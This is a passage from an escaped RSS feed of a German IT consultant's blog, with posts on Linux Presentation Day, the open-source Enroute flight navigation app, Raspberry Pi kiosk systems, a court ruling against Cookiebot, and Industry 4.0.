&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Cory_Doctorow">https://de.wikipedia.org/wiki/Cory_Doctorow&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://wired.com/story/tiktok-platforms-cory-doctorow/">https://wired.com/story/tiktok-platforms-cory-doctorow/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Linux Presentation Day in Dortmund</title><link>https://blog.jakobs.systems/en/micro/20221016-linux-presentation-day-ctdo/</link><pubDate>Sun, 16 Oct 2022 08:30:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20221016-linux-presentation-day-ctdo/</guid><description>Learning about free systems and applications</description><category>Opensource</category><category>Linux</category><category>LPD</category><category>CTDO</category><category>Debian</category><category>Dortmund</category><content>&lt;p>The Linux Presentation Day (LPD)&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> on 19.11.2022 is intended to promote the free operating system and its applications to anyone interested. All over Germany&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> universities, user groups, computer and chaos clubs will open their doors simultaneously and invite people to:&lt;/p>
&lt;ul>
&lt;li>Discover the various free operating systems and applications&lt;/li>
&lt;li>Exchange experiences in a cosy atmosphere&lt;/li>
&lt;li>Installation session of PCs, notebooks or media centres&lt;/li>
&lt;/ul>
&lt;p>On this day, I will be present at the Chaostreff Dortmund from 1 p.m. on&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> and will give two inspiring LightningTalks on the following topics:&lt;/p>
&lt;ul>
&lt;li>Current Linux on older Apple hardware&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Raspberry as thinclient and kiosk system&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;p>See you around,&lt;br>
Tomas Jakobs&lt;/p>
&lt;h3 id="update-22032023">Update 22.03.2023&lt;/h3>
&lt;p>Download the presentation file as PDF here&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://l-p-d.org/">https://l-p-d.org/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://l-p-d.org/de/lpd_dates">https://l-p-d.org/de/lpd_dates&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.chaostreff-dortmund.de/2022/10/10/linux-presentation-day-19-11-2022">https://www.chaostreff-dortmund.de/2022/10/10/linux-presentation-day-19-11-2022&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20201218-mac-to-linux/">https://blog.jakobs.systems/blog/20201218-mac-to-linux/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20220511-ct-fachartikel-kiosk/">https://blog.jakobs.systems/micro/20220511-ct-fachartikel-kiosk/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://blog.jakobs.systems/pdf/20230322-lpd22-mac2linux-reduced.pdf">https://blog.jakobs.systems/pdf/20230322-lpd22-mac2linux-reduced.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Navigation with Enroute</title><link>https://blog.jakobs.systems/en/blog/20221004-akaflieg-enroute/</link><pubDate>Thu, 06 Oct 2022 21:40:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20221004-akaflieg-enroute/</guid><description>Introduction to an open-source route and flight planning software</description><category>Enroute</category><category>Opensource</category><content>&lt;p>Today, I&amp;rsquo;m excited to write about a special migration. This time, it&amp;rsquo;s me who&amp;rsquo;s switching from proprietary to free software. The challenge is navigation - not by car, bicycle, or foot. It&amp;rsquo;s about flying in the sky with an airplane. Admittedly, this is a niche with only a few players. Finding an open-source project here is delightful!&lt;/p>
&lt;p>Unfortunately, there&amp;rsquo;s no space for a built-in device in the cockpit of my open biplane. The typical mounts with suction cups and goosenecks are out of scope as they&amp;rsquo;re not secure in wind and weather conditions. Besides, a display would ruin the charm of a historically-inspired biplane with an analogue &amp;ldquo;clock store&amp;rdquo;.&lt;/p>
&lt;p>So, a solution for the wrist is needed. Suitable mounts can be quickly found in bicycle accessories. And since I need to renew my subscription to the proprietary software Skydemon this October 2022, I&amp;rsquo;ve spent the past few weeks searching for something better.&lt;/p>
&lt;p>&lt;video src="https://blog.jakobs.systems/vid/20221006-start-kiebitz.mp4" controls poster="https://blog.jakobs.systems/img/20221006-start-kiebitz.webp#c">&lt;a href="https://blog.jakobs.systems/vid/20221006-start-kiebitz.mp4" target="_blank">Download Video...&lt;/a>&lt;/video>&lt;small>Video im AV1-Format. Wenn Sie es nicht sehen, nutzen Sie einen Browser/App (noch) ohne AV1-Unterstützung.&lt;/small>
&lt;/p>
&lt;h3 id="requirements">Requirements&lt;/h3>
&lt;p>What do I want? What criteria do I use to measure success and good software? For me, a navigation app must be able to:&lt;/p>
&lt;ul>
&lt;li>Display a moving map&lt;/li>
&lt;li>Scale-Free and zoomable vector maps&lt;/li>
&lt;li>Cover Europe with all airspace and optionally circuit patterns&lt;/li>
&lt;li>Offer basic flight planning with wind factor and fuel consumption&lt;/li>
&lt;li>Display track, heading, and groundspeed&lt;/li>
&lt;li>Provide all airfield information and frequencies&lt;/li>
&lt;li>Display METAR and TAF weather information&lt;/li>
&lt;li>Be open-source with a free license&lt;/li>
&lt;li>Must work offline&lt;/li>
&lt;li>Uncluttered user interface&lt;/li>
&lt;/ul>
&lt;p>I appreciate software that focuses on a few core features and solves them ingeniously. Years ago, that was the Jeppesen app, which I switched to from Air Nav Pro in 2015.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> But when the Boeing Corporation forced the half-finished ForeFlight as a replacement a few years later, I switched to Skydemon out of principle. It was a pragmatic switch without love. And though Skydemon has accompanied me faithfully on tours across Europe for many years, it always remained unfamiliar to me in terms of handling. To make a long story short, I&amp;rsquo;m really excited about Enroute from the first moment.&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Programmed in C++ by a small, dedicated team led by Stefan Kebekus, as a project of Akaflieg Freiburg e.V.&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> with the support of the University of Freiburg. Everywhere in the app it&amp;rsquo;s evident that pilots, not marketing fluff or non-specialist decision-makers, were at work.&lt;/p>
&lt;p>It&amp;rsquo;s free from complexity and feature-itis that overwhelms you with other apps during VFR flights&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. Also, no behavioral data is collected. Only the METAR and TAF are retrieved directly from aviationweather.gov, leaving data traces there. The download and updating of the map data, which come from an Enroute server (more on that later), are pleasing.&lt;/p>
&lt;p>What I don&amp;rsquo;t want is advertising nudging, in-app purchases, or crashes (of the app!). I wouldn&amp;rsquo;t write this if I hadn&amp;rsquo;t observed it repeatedly over a decade of practice as a pilot and flight instructor with 1500+ flight hours. Bugs may be fun in IT, but in general aviation, they quickly become dangerous when combined with other factors. And there are plenty of very good reasons why the systems of a certain manufacturer are practically irrelevant in the aviation industry. Below is a familiar image from IT, dangerous in general aviation, and a story as a footnote.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20221006-enroute0.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20221006-enroute0.webp#c" alt="Familiar image from IT, dangerous in general aviation. Crashed Windows in the cockpit of a small airplane" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h3 id="contextualization">Contextualization&lt;/h3>
&lt;p>In addition to that, there is a &amp;ldquo;special&amp;rdquo; circumstance in Germany. In almost all countries around us, free portals and open data licenses for official AIP, weather, and airfield data are available. I can attest to this personally from my foreign flights.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> However, in 2022, the German air traffic control (DFS) cannot offer a current PDF of the ICAO map of Germany for download. Neither on their website&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> nor in the AIS portal.&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> At least it can be displayed as a layer in the NOTAM briefing. But printed as a PDF, it only provides coordinates as text without map sections. Those who buy a DFS license for charts and ICAO maps for their apps or built-in devices can enjoy huge pixel blocks when zooming in, which are layered as bitmaps over vector maps.&lt;/p>
&lt;p>When commercial and free projects like OpenAIP&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> or OpenFlightmaps&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> offer better solutions than the official sources, it says a lot about the technical and organizational state.&lt;/p>
&lt;p>Possible cause: Own economic interests, positions, and posts in the sale of paper maps and digital usage licenses in the DFS company Eisenschmidt.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> From my point of view, this is a problematic wishy-washy at the expense of not only the many sports and private pilots but also the general public. Either you play in the same league driven by accepted quality standards as a service provider with a sovereign mandate, or better not. Taxpayer money in free software projects contributes more to the public good than any public-corporate partnerships. Keyword: Public Money - Public Code.&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup>&lt;/p>
&lt;h3 id="the-app">The App&lt;/h3>
&lt;p>For little money (around 75,- EUR), I got the cheapest noname Chinese device (Oscal) for this dedicated purpose. The only important things for the hardware were interchangeable batteries and a not too outdated Android system. A Google account was not required for commissioning and it took a while to clean up the device from the pre-installed, &amp;ldquo;phoning home&amp;rdquo; nonsense.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20221006-enroute1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20221006-enroute1.webp#c" alt="Enroute on the wrist in the air" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>I then conveniently obtained Enroute via F-Droid.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> Big kudos to the documentation: the components and dependency list are very clear - that&amp;rsquo;s how it should be.&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> Of course, I do not like the length of the dependencies. But I won&amp;rsquo;t complain. Enroute is programmed in volunteers&amp;rsquo; spare time.&lt;/p>
&lt;p>The planning mode of Enroute is intuitive and entirely sufficient. The wind comes from the METAR/TAF data and must be manually typed in. There is no update of wind data based on position.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20221006-enroute3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20221006-enroute3.webp#c" alt="Enroute planning mode" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>I only connect the device to the internet as needed for AIRAC&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup> or weather updates. Otherwise, it remains offline, which results in a longer runtime for a continuously running, maximum brightness display. Those who own an external GPS mouse or a FLARM/ADSB can integrate it via WLAN/BT.&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> Enroute uses the same databases as the built-in Air Avionics, Flarm, or Butterfly devices.&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The particularly pleasant thing is that the Enroute server is also free.&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup> It retrieves all map data from OpenAIP and OpenFlightmaps to convert it into the GeoJSON format required by the app.&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup>&lt;/p>
&lt;p>How nice it would be to live in a world where a gliding association like the DAEC&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> or various national aviation authorities would contribute their own Enroute servers to this project and not only relieve the only Uni-Freiburg server but also make Enroute more well-known as an app. This does not require complex or centralized cluster infrastructure. Simple mirror servers that are randomly queried from a server list for a download by the app and report their available bandwidth and utilization. If one server is at its limit, it switches to the next (+1) in the list. If this one is also tight, it goes to the next (+2) until after n requests, the best one so far is taken as a fallback. I get lost in technical details and wishful thinking.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20221006-enroute4.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20221006-enroute4.webp#c" alt="Enroute Linux-Desktop App" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Enroute also accepts various flight simulators as traffic and GPS receivers.&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup> I was able to establish a connection with MSFS2020 using fs2ff.&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup> Enroute can be quickly and easily installed on Linux desktops via Flatpak, simplifying route planning and information synchronization with other sources.&lt;/p>
&lt;p>I am very satisfied with Enroute and hope that I can contribute to the popularity of this project with this blog.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20221006-enroute2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20221006-enroute2.webp#c" alt="A satisfied Enroute pilot" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Best regards,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://ul-fluglehrer.de/blog/files/20151012-jeppesen.html">https://ul-fluglehrer.de/blog/files/20151012-jeppesen.html&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://akaflieg-freiburg.github.io/enroute/">https://akaflieg-freiburg.github.io/enroute/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://akaflieg-freiburg.de/">https://akaflieg-freiburg.de/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Sichtflug">https://de.wikipedia.org/wiki/Sichtflug&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://ul-fluglehrer.de/blog/files/20151210-lessons2learn.html">https://ul-fluglehrer.de/blog/files/20151210-lessons2learn.html&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://ul-fluglehrer.de/blog/files/category-reiseberichte.html">https://ul-fluglehrer.de/blog/files/category-reiseberichte.html&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://dfs.de/homepage/de/services/allgemeine-luftfahrt/">https://dfs.de/homepage/de/services/allgemeine-luftfahrt/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://secais.dfs.de/pilotservice/user/login/login_edit.jsp">https://secais.dfs.de/pilotservice/user/login/login_edit.jsp&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://openaip.net/">https://openaip.net/&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://openflightmaps.org/">https://openflightmaps.org/&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://eisenschmidt.aero/">https://eisenschmidt.aero/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://publiccode.eu/de/">https://publiccode.eu/de/&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://f-droid.org/">https://f-droid.org/&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>🚫 &lt;a href="https://akaflieg-freiburg.github.io/enrouteText/manual/04-appendix/license_3rdParty.html">https://akaflieg-freiburg.github.io/enrouteText/manual/04-appendix/license_3rdParty.html&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://icao.int/airnavigation/information-management/Pages/AIRAC.aspx">https://icao.int/airnavigation/information-management/Pages/AIRAC.aspx&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>🚫 &lt;a href="https://akaflieg-freiburg.github.io/enrouteText/manual/02-steps/traffic.html">https://akaflieg-freiburg.github.io/enrouteText/manual/02-steps/traffic.html&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://flarmnet.org/flarmnet/downloads/">https://flarmnet.org/flarmnet/downloads/&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>&lt;a href="https://github.com/Akaflieg-Freiburg/enrouteServer">https://github.com/Akaflieg-Freiburg/enrouteServer&lt;/a>&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/GeoJSON">https://de.wikipedia.org/wiki/GeoJSON&lt;/a>&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>&lt;a href="https://daec.de/">https://daec.de/&lt;/a>&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>🚫 &lt;a href="https://akaflieg-freiburg.github.io/enrouteText/manual/02-steps/simulator.html">https://akaflieg-freiburg.github.io/enrouteText/manual/02-steps/simulator.html&lt;/a>&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>&lt;a href="https://github.com/astenlund/fs2ff">https://github.com/astenlund/fs2ff&lt;/a>&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Raspberry in the Background</title><link>https://blog.jakobs.systems/en/micro/20220511-ct-article-kiosk/</link><pubDate>Wed, 11 May 2022 07:30:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20220511-ct-article-kiosk/</guid><description>A new technical article in c't 12/2022</description><category>Raspi</category><category>Kiosk</category><category>ct</category><category>Opensource</category><content>&lt;p>Visualisations, live feeds from surveillance cameras or digital display solutions (eSignage) usually run on classic PC hardware. Hidden in industrial cabinets and protected enclosures, a lot of effort is spent when the only thing that matters is often the display of a simple web application. In addition, there are license or cloud subscriptions that companies rarely need.&lt;/p>
&lt;p>In the upcoming c&amp;rsquo;t issue 12/2022 starting 21 May, I show in a 4-page practical article&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> how small single-board Raspi computers with free Debian and Firefox manage this task better and more economically.&lt;/p>
&lt;p>The industrial cabinets pictured in the article come from an SME customer who has taken advantage of the potential of free software and has been able to significantly reduce their costs and dependencies.&lt;/p>
&lt;p>Buy the next c&amp;rsquo;t, read it, build it!&lt;/p>
&lt;p>With this in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20220511-raspi-als-kiosksystem.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20220511-raspi-als-kiosksystem.webp#c" alt="Preview of ct article by Tomas Jakobs" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="update-from-21052022">Update from 21.05.2022&lt;/h2>
&lt;p>Link to article added in footnote&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://www.heise.de/select/ct/2022/12/2204109513141146830">https://www.heise.de/select/ct/2022/12/2204109513141146830&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Told-you-so moment with Cookiebot</title><link>https://blog.jakobs.systems/en/micro/20211206-cookiebot/</link><pubDate>Mon, 06 Dec 2021 22:38:34 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20211206-cookiebot/</guid><description>Cookiebot judgement of the Wiesbaden Administrative Court</description><category>DSGVO</category><category>Cookiebot</category><content>&lt;p>Today, the VG Wiesbaden announced to have prohibited the use of Cookiebot in summary proceedings of the Rhine-Main University of Applied Sciences (Az.: 6L 738/21.WI).&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The Danish provider behind Cookiebot is well-known in the industry and advertises with the windy promise of obtaining DSGVO-compliant cookie consent from website visitors. Complete humbug, as the court pointed out:&lt;/p>
&lt;blockquote>
&lt;p>Cookiebot processes the complete IP address of the end user on the servers of a company whose headquarters are located in the USA. This creates a third-country connection, namely to the USA, which is inadmissible in view of the so-called Schrems II decision of the European Court of Justice. The users of the website (&amp;hellip;) would not be asked for their consent for data transfer to the USA. There was also no information about the possible risks associated with the transfer due to the so-called Cloud Act.&lt;/p>
&lt;/blockquote>
&lt;p>Two years ago, there was an exchange of e-mails with an external data protection officer about this particular provider, who unfortunately operated data protection on a purely deskbound basis and was, to put it mildly, somewhat unfamiliar with fundamental technical principles. In his opinion, Cookiebot was harmless, contrary to my objections and technical facts.&lt;/p>
&lt;p>The result: incorrect advice and an invitation for competitors, employees or website visitors who might object to it. The affected customer is now well advised to adapt his finished website and to invest money and time again in what could have been finally solved two years ago.&lt;/p>
&lt;p>There is no reason for simple websites without an online shop, forum or customer area to set cookies and transmit personal data. The court in Wiesbaden writes unequivocally:&lt;/p>
&lt;blockquote>
&lt;p>Such data transmission is also not necessary for the operation of the website (&amp;hellip;)&lt;/p>
&lt;/blockquote>
&lt;p>Anyone using third-party providers, who promises data protection with additional cookies and data processing has not understood the meaning of data minimisation and privacy by design and default.&lt;/p>
&lt;p>Thank you for today&amp;rsquo;s Told-you-so moment about the external data protection officer, who oviously cannot be named here. Well, hopefully he&amp;rsquo;s reading this.&lt;/p>
&lt;p>With this in mind,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>🚫 &lt;a href="https://verwaltungsgerichtsbarkeit.hessen.de/pressemitteilungen/hochschule-rheinmain-darf-auf-ihrer-webseite-nicht-den-dienst-%E2%80%9Ecookiebot%E2%80%9C-nutzen">https://verwaltungsgerichtsbarkeit.hessen.de/pressemitteilungen/hochschule-rheinmain-darf-auf-ihrer-webseite-nicht-den-dienst-%E2%80%9Ecookiebot%E2%80%9C-nutzen&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Digitalisation out of hell</title><link>https://blog.jakobs.systems/en/blog/20211121-industry-nt-4/</link><pubDate>Sun, 21 Nov 2021 14:00:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20211121-industry-nt-4/</guid><description>Why not all digitalisation is the same</description><category>Digitalisation</category><category>Industry4.0</category><category>Concepts</category><content>&lt;p>10 years ago, the buzzword and digitalisation project &amp;ldquo;Industry 4.0&amp;rdquo; first emerged with nothing less in mind than the intention of unleashing a fourth industrial revolution.&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> Revolution as a term and metaphor is, of course, nonsense. Anyone with the slightest sense in the matter knows that digitalisation is rather like a marathon with many intermediate stages and does not come overnight to a company as a result of a management decree.&lt;/p>
&lt;p>However, there is nothing wrong with the objectives of networked communication, information transparency, technological assistance and decentralisation. I actually welcome these objectives and would like to extend this list to &amp;ldquo;digital sovereignty&amp;rdquo;&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>When apart from buzzwords only total failures remain and barely about 10 % of the companies are successful in their Industry 4.0 projects according to a survey by CapGemini&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>, I dare to ask: Is it due to the strategy, the implementation, the people or all of the above?&lt;/p>
